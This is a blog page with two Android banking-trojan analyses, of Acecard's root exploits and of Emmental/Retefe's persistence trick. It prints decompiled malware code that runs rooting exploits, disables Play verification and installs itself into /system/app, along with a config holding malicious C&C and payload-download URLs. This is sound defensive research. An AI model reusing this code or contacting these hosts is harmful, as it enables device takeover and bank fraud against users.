Showing posts with label banktrojan. Show all posts
Showing posts with label banktrojan. Show all posts

Monday, February 29, 2016

Acercard Mobile Trojan: its root exploits and its debugging messages

A few days ago Kaspersky wrote in its blog about the evolution of a bank trojan for Android named Acerard (https://blog.kaspersky.com/acecard-android-trojan/11368/


 



As per Kasperky new it seems that some version of this Trojan has been found in Google Play store: 

"But this is not the only way this malware is distributed. On 28 December 2015, Kaspersky Lab experts were able to spot a version of the Acecard downloader Trojan – Trojan-Downloader.AndroidOS.Acecard.b – in the official Google Play store. The Trojan propagates under the guise of a game. When the malware is installed from Google Play, the user will only see an Adobe Flash Player icon on the desktop screen and no actual sign of the installed application."

The version Kaspersky mentioned is: Downloader.AndroidOS.Acecard.b

However, while doing some research, I found another version with name Downloader.AndroidOS.Acecard.c. .  VirusBulletin already talked about it:

 "We discovered a new version of trojan downloader: Trojan-Downloader.AndroidOS.Acecard.c. It is distinguished by the use of a vulnerability in the system after launching the trojan that allows it to obtain superuser permissions. Once equipped with these authorizations, Trojan-Downloader.AndroidOS.Acecard.c can install Acecard banking trojan in the system memory, which protects against the suppression via traditional tools. In addition, another trojan which we already know is spread the same way: it is Trojan-Ransom.AndroidOS.Pletor"


So let's take a look to this specimen.

Dynamic analysis 

The APK, once installed, looks like a valid Adobe Flash Application.




Looking at the debugging logs and the proxy, first thing I see is an HTTP connection to a host http://brutalmobiletube.com. In the HTTP request the IMEI of the device is sent, plus other information.
¨. 





Looking  deeper in the debugger, I find several interesting strings, but one of them bring my attention: Executing exploit...oh wait! is this real?!?! 






In the file system, there is a configuration file with something really funny: a very self-descriptive variable ROOTING_TRYED






Static analysis 

The code is really 'awesome', and the authors did not really care at all about being a bit 'stealthy' :)

First, here is a class name "LinuxExploitThread" which is quite self-descriptive.





The method "run" in that "LinuxExplotThread" class invokes several other methods which tries to to get root access in the device through different exploits. 


public void run()
  {
    try
    {
      boolean bool = this.semaphore.tryAcquire();
      if (!bool)
        return;
      SharedPreferences localSharedPreferences = this.context.getSharedPreferences("app_settings", 0);
      if (!localSharedPreferences.getBoolean("INSTALL_SENT", false))
        Utils.reportInstall(this.context);
      if (Status.haveRoot())
      {
        installPersistent();
        return;
      }
      if (Root.checkFramarootExploitability(this.context))
        runFramalinuxExploit();
      if (Status.haveRoot())
      {
        installPersistent();
        return;
      }
      if (Root.checkSELinuxExploitability(this.context))
        runSelinuxExploit();
      if (Status.haveRoot())
      {
        installPersistent();
        return;
      }
      if (Root.checkTowelExploitability(this.context))
        runTowelExploit();
      if (Status.haveRoot())
        installPersistent();
      while (true)
      {
        return;
        Utils.putBooleanValue(this.context, "ROOTING_TRYED", true, localSharedPreferences);
        MainService.reconfigure(this.context);
      }
    }
    finally
    {
      this.semaphore.release();
    }
  }



Beside that the malware author did not bother to obfuscate the code or even put names to the classes a bit less self-descriptive, the name of the methods to run the exploits are exactly the same than the vulnerability they try to exploit.


The three exploit methods, runFramaLinuxExploit() runSelinuxExploit() and runTowelExploit() are:



The exploits files are part of the APK file and are stored in a directory name "assets". 



Those files are renamed and used by the different exploits

private void runTowelExploit()
  {
    String str1 = this.context.getFilesDir().getAbsolutePath();
    if ((new AutoFile(str1, "vs").exists()) && (checkSelinuxExecution(str1 + "/" + "vs")))
    {
      Log.d("selinuxExploitThread", " (runTowelExploit) localexploit was already running");
      return;
    }
    try
    {
      Utils.dumpAsset(this.context, "ob.data", "vs");
      Utils.dumpAsset(this.context, "jb.data", "qj");
      Utils.dumpAsset(this.context, "sb.data", "ss");
      String str2 = String.format("%s/%s %s/%s %s/%s", new Object[] { str1, "vs", str1, "qj", str1, "ss" });
      Execute.execute("/system/bin/chmod 755 " + str2);
      Log.d("selinuxExploitThread", " (runTowelExploit), executing exploit");
      int i = Execute.executeSimple(str2).exitCode;
      Log.d("selinuxExploitThread", " (runTowelExploit), execution result: " + i);
      checkSelinuxExecution(str1 + "/" + "vs");
      return;
    }
    catch (Exception localException)
    {
      Log.d("selinuxExploitThread", " (runTowelExploit): Exception : " + localException.getMessage());
      return;
    }
    finally
    {
      new File(str1, "vs").delete();
      new File(str1, "qj").delete();
      new File(str1, "ss").delete();
    }
  }



Once the system is rooted, it is able to perform the installation of other APKs and remain persistent


 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
private boolean installPersistent()
  {
    boolean bool2 = false;
    String str1 = Utils.getApkName(this.context);
    boolean bool1 = bool2;
    if (str1 != null)
    {
      if ((!Utils.isPersistent(this.context)) && (!Utils.persistencyReady()))
        break label36;
      bool1 = true;
    }
    while (true)
    {
      return bool1;
      try
      {
        label36: String str2 = Status.getBestShellAvailable();
        Execute.execute(new String[] { str2, "blw" });
        String str3 = this.context.getPackageName();
        Execute.executeScript(str2, new StringBuilder(String.valueOf(new StringBuilder(String.valueOf(new StringBuilder(String.valueOf(new StringBuilder(String.valueOf(new StringBuilder(String.valueOf(new StringBuilder(String.valueOf(new StringBuilder(String.valueOf(new StringBuilder(String.valueOf(new StringBuilder(String.valueOf(new StringBuilder(String.valueOf(new StringBuilder(String.valueOf(new StringBuilder(String.valueOf(new StringBuilder(String.valueOf(new StringBuilder(String.valueOf("export LD_LIBRARY_PATH=/vendor/lib:/system/lib\n")).append("settings put global package_verifier_enable 0\n").toString())).append("pm disable com.android.vending\n").toString())).append("sleep 1\n").toString())).append(String.format(new StringBuilder("cat %s > ").append("/system/app/MediaCommon_driver.apk").toString(), new Object[] { str1 })).append("\n").toString())).append("chmod 644 ").append("/system/app/MediaCommon_driver.apk").append("\n").toString())).append(String.format("[ -s %s ] && pm install -r -f ", new Object[] { "/system/app/MediaCommon_driver.apk" })).append("/system/app/MediaCommon_driver.apk").append("\n").toString())).append("sleep 1\n").toString())).append("installed=$(pm list packages ").append(str3).append(")\n").toString())).append("if [ ${#installed} -gt 0 ]; then\n").toString())).append("am startservice ").append(str3).append("/.MainService").append("\n").toString())).append("am broadcast -a android.intent.action.USER_PRESENT\n").toString())).append("fi\n").toString())).append("sleep 2\n").toString())).append("pm enable com.android.vending\n").toString() + str2 + " blr" + "\n", this.context);
        Utils.sleep(1000);
        bool1 = bool2;
        if (Execute.executeRoot("ls -l " + "/system/app/MediaCommon_driver.apk").getStdout().contains("/system/app/MediaCommon_driver.apk"))
        {
          Utils.reboot();
          return false;
        }
      }
      catch (Exception localException)
      {
      }
    }
    return false;
  }






Tuesday, January 19, 2016

2nd part of Tinba Malware analysis: The APK side

As showed in my previous post about Tinba malware Threat Actors are continually adapting and changing their techniques and tools. While doing the analysis of the Tinba malware, I ended up with an Android APK which it sounded very familiar to me. This APK is the new version of the Android Bank Trojan Emmental/Retefe. 

I wrote a bit about previous versions of the trojan in several posts:

http://blog.angelalonso.es/2015/10/android-memory-analysis-preparing.html
http://blog.angelalonso.es/2015/10/decrypting-emmental-blowfish-and-base64.html
http://blog.angelalonso.es/2015/10/android-memory-analysis-iii-analyzing.html
http://blog.angelalonso.es/2015/10/malware-analysis-with-androguad.html
http://blog.angelalonso.es/2015/10/reversing-c2c-http-emmental.html
http://blog.angelalonso.es/2015/11/reversing-sms-c-protocol-of-emmental.html
http://blog.angelalonso.es/2015/10/android-memory-analysis-iii-analyzing.html


The sample I got (49a7217ea3af4f4254fe8acbf221263afee24900193870dcc094fac39858e5c4is not reported in VT yet. However, there are similar samples already reported in VT since few weeks:

3cbe649958ab07238c2e4145f37f04bc4f4fd1e3a12f55129355a72e04ffe8da
c88bb1eb09246e52b009386066da3b3b74a4c3f791a0ccc8d5b641ca5c365d1e


What is new in this version of the malware?

There are several interesting new things that have been introduced in this new version of the malware, but I am going to focus in what I have seen as the most interesting feature: the persistence in the device.

Looking at the initial encrypted configuration file, where all the C&C URL are stored, I see a new field named 'download_url'

$cat config_plain.txt
<?xml version="1.0" encoding="utf-8"?>
          <config>
            <data rid="25"
                  shnum10="" shtext10="" shnum5="" shtext5="" shnum3="" shtext3="" shnum1="" shtext1=""
                  del_dev="0"
                  url_main="http://mbarbaram.com/Tri-Oval/09291245410kk.php;http://hoteldellenazionimilan.com/wp-includes/main.php"
                  phone_number=""

 download_url="http://hardits.com/seta.apk"
                  ready_to_bind="0" />

          </config>

This field contains a link to another APK. This is really interesting and worth to investigate.

When I installed the APK in my device, the new application "CreditSuisse SMSSecurity" is there


When launching it, I get a new windows which requires 'additional settings to work'


In the accessibility options, it exists now a new option for the CreditSuisse SMSSecurity


Going to that option I can see that it is asking to enable some 'updates', which it is really suspicious





After I have enabled the 'new service', I see a new 'Messaging' application is installed.


At the same time I can see HTTP traffic to the C&Cm but also to the URL configured in the initial configuration which points to the APK (http://hardits.com/seta.apk)



There are now in the system two different new applications with different names running. 

root@hammerhead:/ # ps | grep sms
root      20    2     0      0     c01af260 00000000 S smsm_cb_wq
u0_a143   3096  199   1572676 72728 ffffffff b6e6c898 S com.google.smsmms
u0_a143   3173  199   1498728 41028 ffffffff b6e6c898 S com.google.smsmms:remote
u0_a142   30882 199   1529224 65980 ffffffff b6e6c898 S com.google.securesms
u0_a142   31068 199   1501308 49196 ffffffff b6e6c898 S com.google.securesms:remote




com.google.securesms is the first installed application (CreditSuisse SMSSecurity), and com.google.smsmms has been installed by com.google.securesms. However, it looks like only the first one has the proper configuration file MainPref.xml with the C&C



Although, if I uninstall the original 'CreditSuisse SMSSecurity', the MainPref.xml with the C&C appears. But in this case the download_url field pointing to the APK doesn't exist.


After this, the connections to the C&C are normally done.

What's going on here?
  • The initial APK fools the user to allow some special 'permissions' in order to perform updates
  • Once those 'permissions' are granted, the application installs another  'Messaging application'. The URL of the APK is in the initial configuration file MainPrefs.xml
  • This second 'Messaging Application' doesn't do anything and doesn't contain the C&C configuration MainPref.xml file in the beginning
  • The second application becomes active and with the MainPref.xml populated once the first application CreditSuisse SMSSecurity is uninstalled in order to guarantee persistence
More to come in next posts :)